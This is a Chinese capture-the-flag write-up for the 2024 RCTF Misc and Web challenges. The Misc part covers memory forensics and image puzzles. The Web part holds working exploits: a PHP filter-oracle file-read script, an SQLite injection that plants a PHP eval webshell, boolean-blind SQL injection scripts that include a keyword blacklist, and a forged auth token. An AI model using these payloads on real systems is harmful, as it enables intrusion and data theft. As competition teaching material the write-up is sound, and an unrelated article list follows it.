2024 RCTF WebMisc部分 WP

Misc

gogogo

考点:内存取证
得到 gogogo.raw 内存取证的题用volatility和AXIOM结合分析
AXIOM 分析存在云服务 但是百度网盘要密码
https://pan.baidu.com/share/init?surl=ZllFd8IK-oHvTCYl61_7Kw
image.png

发现访问过sqlite数据库 可以尝试提取数据库文件出来
image.png
结合 volatility 第一步先看 粘贴板
vol.py -f gogogo.raw --profile=Win7SP0x86 clipboard
image.png
cwqs 猜测可能是百度网盘密码
image.png

得到 pwn=?.zip 但是还有密码 缺少关键信息
提取 places.sqlite数据库文件
扫描:vol.py -f gogogo.raw --profile=Win7SP0x86 filescan |grep "places.sqlite"
image.png
提取sqlite文件
vol.py -f gogogo.raw --profile=Win7SP0x86 dumpfiles -Q 0x000000007f634f80 -D ./
打开 数据库文件 发现在moz_place 发现访问网址

image.png

访问 https://space.bilibili.com/3546644702301067
image.png

提示pwd=uid uid=3546644702301067
这个是压缩包密码
打开后为 flag.zip 和键盘流量lqld.pcapng
直接 usb流量一把梭
image.png

niuo ybufmefhui kjqillxdjwmi uizebuui 
dvoo 
udpn uibuui jqybdm vegeyisi 
vemeuoll jxysgowodmnkderf dbmzfa hkhkdazi 
zvjnybufme hkwjdeggma 
na mimajqueviig 
kyllda doqisl ba 
pnynqrpn 
qrxcxxzimu 

输入法拼音双键联想 注意na mima
注意

na mimajqueviig 那密码就设置成
kyllda doqisl ba 快来打夺旗赛吧

"那密码就确定为,快来打夺旗赛吧"
密码是 kuailaidaduoqisaiba
打开直接就是flag
RCTF{wo_shen_me_dou_hui_zuo_de}

sec-image

考点: 光栅图
image.png
曾哥写过自动化工具一款CTFer专属的光栅图碰撞全自动化脚本
这个工具有两个参数 -x -y

-x XCOORDINATE  自动读取图片并尝试爆破横向光栅图
-y YCOORDINATE  自动读取图片并尝试爆破纵向光栅图

根据已知信息 flag RCTF{xxxxx}倒推找规律

flag0
-x R(T) C(F) 最明显的是一组的作为划分标准
-y 此时的2-1 是RC 2-2是TF	2-1对应1,2位 2-2对应3,4位
flag1:{c4b
flag2:af0e
依次类推

但是难免有些图片 实在是模糊不清
这个时候就用stegsolve 辅助判断
image.png

RCTF{c4baf0eb-e5ca-543a-06d0-39d72325a0}

FindAHacker

内存取证 查看Desktop文件内容
vol.py -f Windows_7_x64_52Pojie_2-Snapshot2.vmem --profile Win7SP1x64 filescan | grep "Desktop"
在这里插入图片描述

发现存在ida 逆向临时数据库
检查 进程
vol.py -f Windows_7_x64_52Pojie_2-Snapshot2.vmem --profile Win7SP1x64 pslist
image.png

提取 内存文件
vol.py -f Windows_7_x64_52Pojie_2-Snapshot2.vmem --profile Win7SP1x64 memdump -p 2172 -D ./
修改后缀位data用 gimp打开后
image.png

调了半天没有找到那一帧
不管了直接借用其他WP的图
image.png
不太懂逆向 xor数据后就是flag

mmm = [0x35,0x3f,0x4e,0x2b,0x56,0x6b,0x74,0x6a,0x5d,0x6d,0x6f,0x73,0x6c,0x77,0x38,0x68,0x59,0x6e,0x20,0x21,0x3c,0x71,0x4f,0x09,0x36,0x7d,0x55,0x72,0x51,0x32,0x27,0x66]
enc = [0x0c,0x0f,0x2b,0x48,0x6f,0x5d,0x46,0x53,0x64,0x59,0x59,0x4b,0x5f,0x47,0x5b,0x5b,0x6b,0x5f,0x15,0x16,0x5d,0x12,0x76,0x6b,0x07,0x1b,0x33,0x4a,0x67,0x07,0x11,0x0]
flag=[]
for i in range(len(mmm)):
        flag.append(chr(mmm[i]^enc[i]))
flag=''.join(flag)
print("RCTF{"+flag+"}")

image.png
RCTF{90ec9629946830c32157ac9b1ff8656f}

Web

color

做了反调试 直接ctrl+F8 停用断点 或者直接手动禁用
当时写了个自动化找不同xpath的脚本(就是找色差)

from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
import time


driver = webdriver.Chrome()


driver.get('http://124.71.164.28:10088/')

time.sleep(60)

start_button = WebDriverWait(driver, 10).until(
    EC.element_to_be_clickable((By.CLASS_NAME, 'play-btn'))
)
start_button.click()

i = 0

while True:
    try:
        
        i = i + 1
        boxes = WebDriverWait(driver, 10).until(
            EC.presence_of_all_elements_located((By.XPATH, '//*[@id="box"]/*'))
        )

        
        found = False
        for i in range(len(boxes) - 1):
            if boxes[i].get_attribute('style') != boxes[i + 1].get_attribute('style'):
                if i + 2 < len(boxes) and boxes[i].get_attribute('style') != boxes[i + 2].get_attribute('style'):
                    boxes[i].click()
                else:
                    boxes[i + 1].click()
                found = True
                break
        
        if not found:
            
            if len(boxes) > 1:
                boxes[-1].click()
                t2 = time.time()
                
    except Exception as e:
        print(f"An error occurred: {e}")
        time.sleep(20)
        continue

print("Done")

但是即使是自动化 也存在可见的延迟
当时做题时没有注意,认为是后端的延迟(但是实际是前端的)
不是只有60s吗 时间是减少的 可以让时间增加 使它逻辑相反
逆了下它关键的加密逻辑 但是想简化问题

const CryptoJS = require('crypto-js');

function _0x443f31(_0x1de1a8) {
    var _0x1de1a8 = 'checkImage';
    var _0x4b1cba = "88b4dbc541cd57f2d55398e9be3e61ae";
    var _0xdc28e0 = "41cd57f2d55398e9";
    return CryptoJS.AES.encrypt(_0x1de1a8, CryptoJS.enc.Utf8.parse(_0x4b1cba), {
      iv: CryptoJS.enc.Utf8.parse(_0xdc28e0),
      mode: CryptoJS.mode.CBC,
      padding: CryptoJS.pad.Pkcs7
    }).toString();
}

console.log(_0x443f31());
//xEt6B2i+YJdcrJ/RG3Ie4Q==

所以直接js逆向改变其代码逻辑
游戏时间不是只有60s 吗 令他时间增加不就行了

tick: function () {
      if (this._pause) {
        return undefined;
      } else {
        this.time++;
        
        if (this.time < 6) {
          _0x4b69a3.time.addClass("danger");
        }
        if(this.time>1200){
          this.gameOver();
          return;
        }
        if (this.time < 0) {
          this.gameOver();
          return;
        } else {
          _0x4b69a3.time.text(parseInt(this.time));
          return;
        }
      }

修改代码逻辑 使时间增加 到1200 进入gameover结算即可
image.png
时间增加成功
结合自动化的脚本
现在就等1200s秒后就可以拿提示了
拿到路由/secr3tcolor.zip 可以得到源码
dockerfile中直接提示flag 在 /flag.txt中
image.png

就是已知flag的位置 要想办法读取文件
看看 game.php

else if($action === "checkImage"){

        try {

            $upload_image = file_get_contents($_FILES["image"]["tmp_name"]);

            echo getimagesize($upload_image);

echo+文件处理流函数
直接考虑 php filter Oracle 测信道 任意文件读取
参考:https://xz.aliyun.com/t/12939
被影响的函数包含 getimagesize
image.png
https://github.com/DownUnderCTF/Challenges_2022_Public/blob/main/web/minimal-php/solve/solution.py
简单改下poc即可 改变其 req函数

def req(s):
	data = {"action": "xEt6B2i+YJdcrJ/RG3Ie4Q=="}
	string_content = f"php://filter/{s}/resource=/flag.txt"
	files = {'image': string_content}
	res=requests.post('http://124.71.164.28:10088/final/game.php', data=data,files=files)
	return 'Fatal' in res.text

注意一下原来的poc是通过 http状态码 500 判断测信道
但是实际上 只要 php 内存溢出了 就会有报错

Fatal error: Allowed memory size of 134217728 bytes exhausted (tried to allocate 83886144 bytes) in /tmp/iconv.php on line 6

可以从其中顺便找个 关键词 作为判断的标准即可
比如我这里是用 Fatal
image.png
header头就是编码方式
可以根据 自己的需求 改它的poc即可
image.png
RCTF{Color_Col0r_C0lor}

赛后看了看其他WP 既然是前端做的延迟那么直接敲掉 delay就可以了
后自动化脚本也是可以的
但是试了一下不太可能 一秒如何跑8次左右 还要考虑网络本身和脚本的延迟 没有成功
image.png

proxy

考点 :sqlite注入

public function execMultiSQL($arysql){

        try{

            $this->dm_handler->beginTransaction();

            foreach($arysql as $asql){

                $result=$this->dm_handler->exec($asql);

            }

            #只要有一个报错 就会到catch块中不会commit提交数据真正改变数据库

            $this->dm_handler->commit();

            return TRUE;

        }

        catch(PDOException $exception) {

            $this->dm_handler->rollBack();

            return FALSE;

        }

    }

其实 这道就是考如何闭合sql语句 写到数据库中

$arysql[] = "INSERT OR REPLACE INTO CacheMain VALUES ('".$sess."', ".time().")";

    $arysql[] = "INSERT INTO CacheDetail VALUES ('".$sess."', '".$BE."')";

    #闭合方式:1');CREATE TABLE J1rrY (t TEXT);--+-

    $arysql[] = "CREATE TABLE Cache_".$sess."_".$BE." (t TEXT)";

    #直接将其嵌入到 SQL 语句

    $arysql[] = "INSERT INTO Cache_".$sess."_".$BE." VALUES('".$ProxyObj->body."')";

    $DbObj->execMultiSQL($arysql);

但是测试了非常久 最终 还是能同时闭合前面 但是绕不过最后一个
同时闭合所有sql语句 这个思路是看样子是走不通了
查找 sqlite教程 SQLite 事务(Transaction)发现存在COMMIT命令
https://www.runoob.com/sqlite/sqlite-transaction.html

COMMIT 命令

COMMIT 命令是用于把事务调用的更改保存到数据库中的事务命令。

COMMIT 命令把自上次 COMMIT 或 ROLLBACK 命令以来的所有事务保存到数据库。

COMMIT 命令的语法如下:

COMMIT;

or

END TRANSACTION;

居然可以无视报错直接提交COMMIT到数据库保存
结合sqlite注入写shell的文章 其中的poc一把梭就是
https://xz.aliyun.com/t/8627

');COMMIT;ATTACH DATABASE '/var/www/html/shell.php' AS shell;create TABLE shell.exp (payload text); insert INTO shell.exp (payload) VALUES ('<?php @eval($_POST["x"]); ?>');COMMIT;--+-

image.png
直接写shell是成功的
image.png
RCTF{ok_you_are_win_this_sql_game}

赛后看了看其他的WP 发现正解该是利用Proxy.php
$http .= $_SERVER['SERVER_NAME'].':'.$_SERVER['SERVER_PORT'];
伪造$_SERVER['SERVER_NAME'].':'.$_SERVER['SERVER_PORT']
作为HTTP头传递
比赛时特别考虑过 但是没有内容就认为不是这个思路
image.png
但是没想到居然可以利用Proxy.php
image.png
的确可以拿到请求 以后就用nc判断了…
那么我们只需要闭合最后的sql语句即可

 VALUES('".$ProxyObj->body."')";

其他前面的sql一定是闭合的
直接用先知的文章打payload,简单闭合就可以了

<?php

echo "');ATTACH DATABASE '/var/www/html/shell.php' AS shell;create TABLE shell.exp (payload text); insert INTO shell.exp (payload) VALUES ('<?php eval(\$_POST[1]); ?>');--+-";

?>

image.png
一个小问题:
如果我们访问poc.php返回

a');ATTACH DATABASE '/var/www/html/shell.php' AS shell;create TABLE shell.exp (payload text); insert INTO shell.exp (payload) VALUES ('');--

VALUES ('');的值为空 是没有写进去吗?
本地看了一下是写进去了

image.png
RCTF{ok_you_are_win_this_sql_game}

what_is_love

存在黑名单 要进行绕过

db.query(

  "CREATE TABLE IF NOT EXISTS key1 (id INT AUTO_INCREMENT PRIMARY KEY,love_key VARCHAR(255) NOT NULL)"

);

db.query(

  "INSERT INTO key1 (love_key) VALUES('RCTF{key1')"

  //向 key1表中插入 love_key的值

存在表名 key1 字段为 love_key
黑名单相当于禁用了

/SELECT|CREATE|TABLE|DATABASE|IF|\(|\)|INSERT|UPDATE|DELETE|AND|OR|\.\./|\./|UNION|INTO|LOAD_FILE|OUTFILE|DUMPFILE|SUB|HEX|NOW|CURRENT_TIMESTAMP|GETDATE|SLEEP|SUBSTRING|MID|LEFT|RIGHT|ASCII|CHAR|REPEAT|REPLICATE|LIKE|%/gi
 let res1 = `SELECT * FROM key1 WHERE love_key = '${key1}'`;

  db.query(`SELECT * FROM key1 WHERE love_key = '${key1}'`, (err, results) => {

    //很显然我们不知道love_key的具体值

    if (err) {

      res.send("error");

    } else if (results.length > 0) {

      res.send("success");//布尔盲注

    } else {

      res.send("wrong");

    }

这是一道非常典型的布尔盲注
但是要注意的是 这道题将select过滤了 我们无法进行任何查询操作
但是 love_key 就是我们要求的第一段flag
完全可以直接 通过 正则匹配查询想要的数据 通过布尔盲注判断即可
flag 1 必然是RCTF开头的可以验证一下

image.png
通过正则匹配开头是 R 可以验证思路是正确的
编写脚步(注意 --+- 只能用于GET )

import requests
url="http://1.94.13.174:10088/key1"
strs='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890-_ {}!@$%&()#'
flag=""
while True:
    for i in strs:
        data={"key1":f"1' || love_key regexp binary '^{flag+i}'#"}
        res=requests.post(url=url,data=data)
        if "success" in res.text:
            flag+=i
            print(flag)
        

但是同时 由于源码限制 key1.length > 52
image.png
RCTF{THE_FIRST_STEP 第一段flag不完全
直接倒着匹配flag 1

import requests
url="http://1.94.13.174:10088/key1"
strs='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890-_ {}!@%&()#'
flag=""
while True:
    for i in strs:
        #data={"key1":f"1' || love_key regexp binary '^{flag+i}'#"}
        data={"key1":f"1' || love_key regexp binary '{i+flag}$'#"}
        res=requests.post(url=url,data=data)
        if "success" in res.text:
            flag=i+flag
            print(flag)

image.png
P_IS_TO_GET_TO_KNOW
flag 1就是 RCTF{THE_FIRST_STEP_IS_TO_GET_TO_KNOW

如果我们不按照它期望传入一个数字 而是字符串
userInfo.love_time = Number(love_time); 将返回 NAN
在此时的加密中

const createToken = (userinfo) => {

  const saltedSecret =

    parseInt(Buffer.from(secret).readBigUInt64BE()) +

    parseInt(userinfo.love_time);

  const data = JSON.stringify(userinfo);

  return (

    Buffer.from(data).toString("base64") + "." + hash(`${data}:${saltedSecret}`)

  );

};

直接和随机生成的secret 拼接
image.png

那么此时的
${data}:{"username":"J1rrY","love_time":null,"have_lovers":false}
${saltedSecret}:secret+NAN
尝试输出此时的 saltedSecret

const crypto = require("crypto");
const secret = crypto.randomBytes(128);
love_time=null
const saltedSecret =
    parseInt(Buffer.from(secret).readBigUInt64BE()) +
    parseInt(love_time);
console.log(saltedSecret);

会发现始终是一个定值 NaN
image.png
这说明一个事实 只要 "love_time"为 null saltedSecret就一定是 NaN 是一个定值
已知加密逻辑直接伪造加密就是了

const crypto = require("crypto");

const secret = crypto.randomBytes(128);

const hash = (data) => crypto.createHash("sha256").update(data).digest("hex");

userinfo={"username":"J1rrY","love_time":null,"have_lovers":true}

const saltedSecret =NaN;

console.log(saltedSecret)

const data = JSON.stringify(userinfo);

console.log(data)

console.log(Buffer.from(data).toString("base64") + "." + hash(`${data}:${saltedSecret}`))

image.png

在这里插入图片描述

RCTF{THE_FIRST_STEP_IS_TO_GET_TO_KNOW_AND_GIVE_A_10000_YEAR_COMMITMENT_FOR_LOVE}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/663520.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Spring Security3.0版本

前言&#xff1a; 核心&#xff1a; A >> &#xff1f; >> B &#xff1f;代表判断层&#xff0c;由Security实现 这是之前的版本浓缩&#xff0c;现在3.0版本添加了更匹配的内容描写&#xff0c;匹配了mvc模式 非mvc模式 核心&#xff1a;client&#x…

【仿真成品设计】基于STM32的直流电机控制器Proteus仿真

基于STM32的直流电机控制器Proteus仿真 所需器件&#xff1a; Proteus版本&#xff1a;8.15 整体功能&#xff1a; 直流无刷电机控制器是基于ST公司的STM32F103芯片的基础上使用标准库进行开发设计的。选用L298芯片来控制直流电机&#xff1b;采用使用0.96寸OLED屏幕做直流…

振弦采集仪在岩土工程固结沉降监测中的应用研究

振弦采集仪在岩土工程固结沉降监测中的应用研究 岩土工程固结沉降是指土体在受到外力作用下&#xff0c;由于土体颗粒之间的重排结构&#xff0c;导致土体体积缩小和沉降的过程。固结沉降的监测对于岩土工程的设计和施工具有重要的意义&#xff0c;而振弦采集仪作为一种先进的…

主线程等待所有线程结束之后再执行

如何让主线程等待所有线程结束之后再执行 1、Future的机制&#xff0c;使用Future.get()阻塞等待结果&#xff08;Future&#xff0c;FutureTask&#xff09; 2、CountDownLatch同步工具类&#xff0c;此类的作用就是一个线程等待所有线程结束之后再执行 3、CompletableFuture …

使用Python爬取华为市场游戏类APP应用

文章目录 1. 写在前面2. 接口分析3. 爬虫开发4. 下载链接获取 【&#x1f3e0;作者主页】&#xff1a;吴秋霖 【&#x1f4bc;作者介绍】&#xff1a;擅长爬虫与JS加密逆向分析&#xff01;Python领域优质创作者、CSDN博客专家、阿里云博客专家、华为云享专家。一路走来长期坚守…

统计信号处理-匹配滤波器实现与验证(matlab仿真)

什么是匹配滤波器 匹配滤波器是一种信号处理技术&#xff0c;它用于从噪声中提取信号&#xff0c;特别是在信号与噪声比率较低的情况下。匹配滤波器之所以存在&#xff0c;是因为它在信号检测和估计方面具有几个关键的优势&#xff1a; 最大化信噪比&#xff1a;匹配滤波器设计…

JVS低代码表单消息提示:从站内信到钉钉全覆盖,适应各类应用场景

表单消息提示配置 表单消息发送方式分为站内信、公众号、企业微信、钉钉和邮件。 站内信发送是指系统内部之间发送消息&#xff0c;用户登录系统后以弹窗形式在桌面右下角提示。 公众号发送消息则是用户在系统个人中心绑定微信后通过公众号接收消息。 企业微信、钉钉和邮件…

【Docker】宝塔创建Docker容器配置nginx

前言 本篇是我入门docker的第一篇&#xff0c;由于docker具有很好的移植性&#xff0c;易于安装&#xff0c;开箱即用&#xff1b;签约的公司项目开发需要我进行学习&#xff0c;否则money减半&#xff0c;5555~ 百度找了一圈&#xff0c;只有关于docker怎么装宝塔服务器的却没…

运算符重载(下)

目录 前置和后置重载前置的实现Date& Date::operator()代码 后置的实现Date Date::operator(int )代码 前置--和后置--重载前置--的实现Date& Date::operator--( )代码 后置--的实现Date Date::operator--(int )代码 流插入运算符重载流插入运算符重载的实现流提取运算…

1、css3 动态button展示学习

效果图&#xff1a; 1、首先创建html代码&#xff1a; <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0"><title…

LNMP分布式搭建

一、准备三台主机 192.168.100.11 mysql 192.168.100.12 nginx 192.168.100.13 php 二、关闭防火墙及安全策略 systemctl stop firewalld setenforce 0 三、安装nginx&#xff08;192.168.100.11&#xff09; 1、添加nginx源 vim /etc/yum.repos.d/ng…

数据库系统概念(第七周 第一堂)(E-R模型)

目录 前言 基本概念 观点与模型 作用与要求 E-R模型元素 实体&#xff08;entity&#xff09; 实体集&#xff08;entity set&#xff09; 属性&#xff08;attribute&#xff09; 域&#xff08;domain&#xff09; 码 &#xff08;key&#xff09; 联系 &#x…

allure测试报告用例数和 pytest执行用例数不相同问题

我出现的奇怪问题&#xff1a; pytest执行了9条用例&#xff0c;但是测试报告确只显示3条用例 我将其中的一个代码删除后&#xff0c;发现allure测试报告又正常了 我觉得很奇怪这个代码只是删除了二维数组的第一列&#xff0c;我检查了半天都找不到问题&#xff0c;只有降低版本…

优选算法一:双指针算法与练习(移动0)

目录 双指针算法讲解 移动零 双指针算法讲解 常见的双指针有两种形式&#xff0c;一种是对撞指针&#xff0c;一种是快慢指针。 对撞指针&#xff1a;一般用于顺序结构中&#xff0c;也称左右指针。 对撞指针从两端向中间移动。一个指针从最左端开始&#xff0c;另一个从最…

云计算与 openstack

文章目录 一、 虚拟化二、云计算2.1 IT系统架构的发展2.2 云计算2.3 云计算的服务类型 三、Openstack3.1 OpenStack核心组件 一、 虚拟化 虚拟化使得在一台物理的服务器上可以跑多台虚拟机&#xff0c;虚拟机共享物理机的 CPU、内存、IO 硬件资源&#xff0c;但逻辑上虚拟机之…

Python魔法之旅-魔法方法(04)

目录 一、概述 1、定义 2、作用 二、主要应用场景 1、构造和析构 2、操作符重载 3、字符串和表示 4、容器管理 5、可调用对象 6、上下文管理 7、属性访问和描述符 8、迭代器和生成器 9、数值类型 10、复制和序列化 11、自定义元类行为 12、自定义类行为 13、类…

【香橙派 AIpro】新手保姆级开箱教程:Linux镜像+vscode远程连接

香橙派 AIpro 开发板 AI 应用部署测评 写在最前面一、开发板概述官方资料试用印象适用场景 二、详细开发前准备步骤1. 环境准备2. 环境搭建3. vscode安装ssh插件4. 香橙派 AIpro 添加连接配置5. 连接香橙派 AIpro6. SSH配置 二、详细开发步骤1. 登录 juypter lab2. 样例运行3. …

Windows11 安装Oracle11gR2

一、下载Oracle 11gR2 安装包下载地址&#xff1a;Database Software Downloads | Oracle 下载两个压缩包&#xff0c;下载完成后解压缩到同一个目录。 二、安装Oracle 11gR2 Oracle安装是单程票&#xff0c;因为Oracle卸载特别麻烦&#xff0c;因此最好一次通过。 2.1 安…

排八字软件有哪些?

排八字软件有哪些&#xff1f;在市面上有很多排八字的软件可供选择&#xff0c;其中一些比较知名的有&#xff1a; 无敌八字排盘软件&#xff1a;这是一款功能强大的八字排盘软件&#xff0c;提供详细的八字解析和命理分析服务&#xff0c;且完全免费。 网易星盘&#xff1a;网…

【JAVA |String类】JAVA中的String类常见用法详解

✨✨谢谢大家捧场&#xff0c;祝屏幕前的小伙伴们每天都有好运相伴左右&#xff0c;一定要天天开心哦&#xff01;✨✨ &#x1f388;&#x1f388;作者主页&#xff1a; &#x1f388;丠丠64-CSDN博客&#x1f388; ✨✨ 帅哥美女们&#xff0c;我们共同加油&#xff01;一起…